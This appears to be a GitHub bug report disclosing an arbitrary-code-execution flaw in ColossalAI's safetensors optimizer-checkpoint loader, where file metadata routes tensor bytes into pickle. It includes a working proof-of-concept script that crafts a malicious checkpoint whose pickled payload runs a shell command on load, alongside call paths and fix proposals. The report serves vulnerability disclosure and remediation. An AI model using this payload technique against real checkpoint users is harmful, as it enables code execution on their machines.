[BUG]: Async optimizer checkpoint loader unpickles any tensor named by the file's own metadata (arbitrary code execution on load_flat / load_optimizer) #6471

Is there an existing issue for this bug?

• I have searched the existing issues

The bug has not been fixed in the latest main branch

• I have checked the latest main branch

Do you feel comfortable sharing a concise (minimal) script that reproduces the error? :)

Yes, I will share a minimal reproducible script.

🐛 Describe the bug

Describe the bug

ColossalAI's async optimizer-checkpoint format has two deserialization stages. The outer one is the safetensors container, which is parsed safely; the inner one is driven by the checkpoint's own metadata:

# colossalai/utils/safetensors.py:200-205  (pinned commit 4f9953b)
def load_flat(checkpoint_path, seperator: str = "."):
    with safe_open(checkpoint_path, framework="pt") as f:
        metadata = f.metadata()                 # <- file-controlled
    state_dict_load = load_file(checkpoint_path)
    state_dict = _unflatten_optim_state_dict(state_dict_load, metadata, seperator)
    return state_dict

# colossalai/utils/safetensors.py:96-100
    if metadata is not None and "non_tensor_keys" in metadata:
        non_tensor_keys = json.loads(metadata["non_tensor_keys"])
    else:
        non_tensor_keys = []
    flat_dict = {k: _cast_to_object(v) if k in non_tensor_keys else v for k, v in flat_dict.items()}

# colossalai/utils/safetensors.py:35-38
def _tensor_to_object(tensor, tensor_size):
    tensor = tensor.cpu()
    buf = tensor.numpy().tobytes()[:tensor_size]
    return _unpickler(io.BytesIO(buf)).load()   # _unpickler is pickle.Unpickler

metadata["non_tensor_keys"] is a JSON list of flat keys that the writer marked as "not a tensor" (_flatten_optim_state_dict(), lines 65-90, puts every non-tensor value — including param_groups — through _pickler). On load, every key in that list has its raw tensor bytes handed to pickle.Unpickler.load(). Nothing checks that the listed key actually corresponds to a non-tensor value written by ColossalAI, and nothing restricts the list to keys the product itself produced.

So a .safetensors optimizer checkpoint is a code-execution carrier: whoever supplies the file chooses (a) a tensor whose bytes are a pickle stream and (b) the metadata entry that routes it into the unpickler. The safetensors parser stays happy — the payload is a perfectly valid uint8 tensor — and the terminal is the second stage, i.e. it happens after the "safe format" has already returned.

Affected versions: v0.4.7 and later (the two-stage design was introduced in cf519dac6a5799b8f314aac6f510e2a98d3af9c6, "[optim] hotfix adam load (#6146)", 2024-11-20, first released as v0.4.7 on 2025-01-03); verified on 4f9953be335ef371b3848719ddafe596c01ecd37 and re-checked unchanged on main HEAD 71c8abeb13d7d8f032e71233353623a1ff790ea5.

Reachable from the public API with no other precondition. booster.load_optimizer(optimizer, checkpoint) reaches load_flat() whenever the checkpoint name ends in .safetensors:

Booster.load_optimizer                       colossalai/booster/booster.py
  -> plugin.load_optimizer(...)              colossalai/booster/plugin/low_level_zero_plugin.py:149-161
                                             (same in torch_fsdp_plugin.py:55-61, gemini_plugin.py)
  -> GeneralCheckpointIO.load_unsharded_optimizer
                                             colossalai/checkpoint_io/general_checkpoint_io.py:174-183
       if checkpoint.endswith(".safetensors"):
           checkpoint = load_flat(checkpoint)      # <- unpickles here
       optimizer.load_state_dict(checkpoint)

Other call sites of the same loader: colossalai/checkpoint_io/hybrid_parallel_checkpoint_io.py:725 and :983, colossalai/checkpoint_io/utils.py:994 (load_optim_or_model_shard()), colossalai/booster/plugin/low_level_zero_plugin.py:156.

The normal way these files travel is a checkpoint directory that is shared, archived or downloaded so that training can be resumed — i.e. the file is attacker-controlled exactly when it matters. The reproduced artifact contains no .py file, no plugin and no native library: a valid safetensors container, ordinary optimizer tensors, one extra uint8 tensor and one metadata entry.

To Reproduce

1. Take any optimizer state dict, flatten it with the product's own _flatten_optim_state_dict() and serialize it with the product's own prepare() (or, equivalently, write the same layout with safetensors.torch.save_file).
2. Add one extra flat entry state.0.candidate whose bytes are a pickle stream, and add that key to metadata["non_tensor_keys"].
3. Load it through the product entry point. Minimal script (verified on 4f9953be335e..., Python 3.12, torch CPU, safetensors 0.8.0):

import json, os, pickle, torch
from safetensors.torch import save_file
from colossalai.checkpoint_io import GeneralCheckpointIO

class Payload:                                  # runs on unpickling
    def __reduce__(self):
        return (os.system, ("id > PWNED.txt",))

payload = pickle.dumps(Payload(), protocol=2)
tensors = {
    "param_groups": torch.tensor([0], dtype=torch.uint8),
    "state.0.candidate": torch.tensor(list(payload), dtype=torch.uint8),   # pickle bytes
}
metadata = {"non_tensor_keys": json.dumps(["state.0.candidate"])}           # routing
save_file(tensors, "optimizer.safetensors", metadata=metadata)

optimizer = torch.optim.Adam(torch.nn.Linear(4, 2).parameters())
GeneralCheckpointIO().load_unsharded_optimizer(optimizer, "optimizer.safetensors")
# -> PWNED.txt appears, containing the identity the command ran as

4. Observed on the full artifact built from a real torch.optim.Adam state dict (see the attached screenshots): optimizer.load_state_dict() returns normally, the process keeps running, and PWNED.txt was created by the shell command that the tensor bytes asked for.
5. Controls, byte-identical artifacts apart from the metadata routing:
   • same payload tensor not listed in non_tensor_keys → identical load, no file created;
   • non_tensor_keys absent from the metadata → no key reaches the unpickler at all (param_groups comes back as a uint8 tensor), no file created;
   • the same file read with the plain safetensors parser (safe_open() + load_file()) → a plain uint8 tensor, no execution — i.e. the outer format and its parser are not the problem, the metadata-driven second stage is.

Expected behavior

A checkpoint file is data. Only values that the product itself serialized as objects should ever be unpickled, and that decision must not be taken from the file. Concretely:

• Do not use pickle for the second stage at all: restrict the format to tensors plus a schema-known, non-executable encoding for the few non-tensor entries (param_groups is a list of dicts of plain scalars/lists and can be stored as JSON).
• If the pickle stage must stay for compatibility, validate before unpickling: reject any key that exists as a tensor in the same file (a genuine non-tensor entry is written by _cast_to_tensor() only for values that were not torch.Tensor), reject keys outside the schema the product writes (param_groups, and state.<idx>.<field> for known optimizer state fields), and prefer a restricted Unpickler (find_class allow-list) over torch.distributed.distributed_c10d._unpickler, which is plain pickle.Unpickler.
• Treat a .safetensors optimizer checkpoint from an untrusted source as code: document that clearly until the loader is fixed, and offer a "tensors only" load mode for checkpoints that do not need param_groups restored from the file.

Screenshots

Attached from a real terminal session (container, Linux, CPU):
01-runtime.png, 02-pinned-commit.png, 03-sink-code.png, 04-loader-callers.png, 05-make-poc.png, 06-artifact-and-outer-parser.png, 07-marker-absent.png, 08-positive-run.png, 09-marker-present.png, 10-marker-content.png, 11-negative-no-effect.png, 12-missing-condition.png, 13-sha256.png, 14-command-history.png.
Full reproduction kit (pinned source tarball, Dockerfile, make_poc.py, drivers) available on request.

Environment

ColossalAI : affected since v0.4.7 (two-stage design introduced in cf519da, 2024-11-20; first release v0.4.7, 2025-01-03)
verified on commit 4f9953b (2026-04-09)
sink re-checked unchanged on main HEAD 71c8abe (2026-10-11) and v0.5.1
OS : Linux container (python:3.12-slim), CPU only
Python : 3.12.15
PyTorch : CPU wheel (torch.distributed.distributed_c10d._unpickler is pickle.Unpickler)
safetensors : 0.8.0
CUDA/cuDNN/NCCL: not used — the defect is pure Python and does not depend on the accelerator backend
Entry point : colossalai.checkpoint_io.GeneralCheckpointIO.load_unsharded_optimizer() (the method LowLevelZeroPlugin.load_optimizer()/TorchFSDPPlugin delegate to);
colossalai.utils.safetensors.load_flat() for the loader itself